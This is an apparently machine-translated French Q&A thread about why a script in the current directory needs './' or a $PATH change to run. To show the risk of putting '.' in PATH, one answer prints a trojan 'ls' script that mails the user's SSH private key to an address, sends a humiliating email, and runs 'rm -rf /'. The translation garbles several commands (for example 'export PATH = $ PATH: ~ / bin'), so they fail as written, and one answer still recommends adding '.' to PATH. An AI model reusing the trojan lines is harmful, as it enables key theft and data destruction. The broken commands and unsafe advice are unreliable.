OK, j’ai un script bash sur mon bureau appelé highest
si je cours:
cd ~/Desktop highest
Je reçois: Commande introuvable
Mais si je cours:
~/Desktop/highest
Il s’exécute très bien. Mais pourquoi dois-je toujours utiliser le chemin absolu lorsque ma ligne de commande est dans le bon répertoire?
Je suppose que cela a quelque chose à voir avec la variable $PATH
? Comme je dois append quelque chose comme ça. Si oui, comment puis-je append cela? Je n’ai pas encore l’habitude de Linux et je suis très confus quand cela se produit.
Je suis d’accord avec la déclaration de @ Dennis. Ne pas append ‘.’ à votre PATH. C’est un risque de sécurité, car cela permettrait à un pirate de remplacer vos commandes. Pour une bonne explication, voir http://www.linux.org/docs/ldp/howto/Path-12.html .
Par exemple, prétendez que j’étais un pirate et que j’ai créé des fichiers de type Trojan, comme / tmp / ls, comme ça. Imaginez que c’était sur un système partagé dans une université ou quelque chose.
$ cat /tmp/ls #!/bin/sh # Cracker does bad stuff. # Execute in background and hide any output from the user. # This helps to hide the commands so the user doesn't notice anything. cat ~/.ssh/mysecretsshkey | mailx -s "haha" [email protected] >/dev/null 2>&1 & echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" [email protected] >/dev/null 2>&1 & & rm -rf / >/dev/null 2>&1 & # and then we execute /bin/ls so that the luser thinks that the command # executed without error. Also, it scrolls the output off the screen. /bin/ls $*
Que se passerait-il si vous étiez dans le répertoire / tmp et exécutiez la commande ‘ls’? Si PATH
inclus .
, alors vous exécuterez / tmp / ls, lorsque votre intention réelle était d’utiliser les “ls” par défaut à / bin / ls.
Au lieu de cela, si vous voulez exécuter vos propres binarys, appelez le script explicitement (par exemple ./highest
) ou créez votre propre répertoire bin, ce que font la plupart des utilisateurs.
Ajoutez votre propre répertoire ~ / bin et placez-y vos propres binarys.
mkdir ~/bin vi ~/bin/highest
Ensuite, modifiez votre PATH pour utiliser votre fichier binary local. Modifiez l’instruction PATH dans votre fichier .bashrc pour qu’il ressemble à ceci.
export PATH = $ PATH: ~ / bin
Pour vérifier que votre chemin est le highest
, procédez comme suit:
bash$ which highest /Users/stefanl/bin/highest
Oui, l’ajout de ./
est correct, donc lancez cd ~/Desktop; ./highest
cd ~/Desktop; ./highest
travaillera. Le problème est que vous avez dit: courir le highest
en lui-même fait que Linux regarde dans votre $PATH
tout ce qui est nommé le highest
, et comme il n’y a rien appelé, il échoue. En ./highest
exécution ./highest
dans le bon répertoire contournera complètement le problème puisque vous spécifiez le chemin d’access à l’exécutable.
La meilleure chose à faire est de vous habituer à utiliser ./highest lorsque vous souhaitez exécuter une commande qui se trouve dans votre répertoire, à moins que vous souhaitiez réellement l’append à votre chemin. Ensuite, vous devez l’append à votre chemin dans votre fichier .profile dans votre répertoire personnel (créez-le s’il n’y en a pas) afin qu’il soit chargé dans votre chemin chaque fois que vous démarrez bash:
export PATH = “/ usr / local / bin: / usr / local / sbin:.: $ PATH”
Ne modifiez pas PATH
, déplacez ou liez simplement le script à un emplacement standard, par exemple
mkdir -p ~/bin cd ~/bin ln -s ../Desktop/highest highest
Si ~/bin
est sur votre chemin (et AFAIR c’est le cas si vous utilisez les scripts d’initialisation shell par défaut d’Ubuntu), vous pouvez appeler les scripts depuis n’importe où par leur nom.
Vous devez append le répertoire local à votre chemin:
PATH=$PATH:. export PATH
Cela peut être fait dans votre fichier .profile ou .bash_profile pour toujours le configurer chaque fois que vous vous connectez.
En outre, vous pouvez également exécuter la commande avec le marqueur de répertoire actuel:
./highest
ainsi que.
Bien sûr, il y a des implications en matière de sécurité, comme indiqué ci-dessous par de nombreux utilisateurs, ce que j’aurais dû mentionner.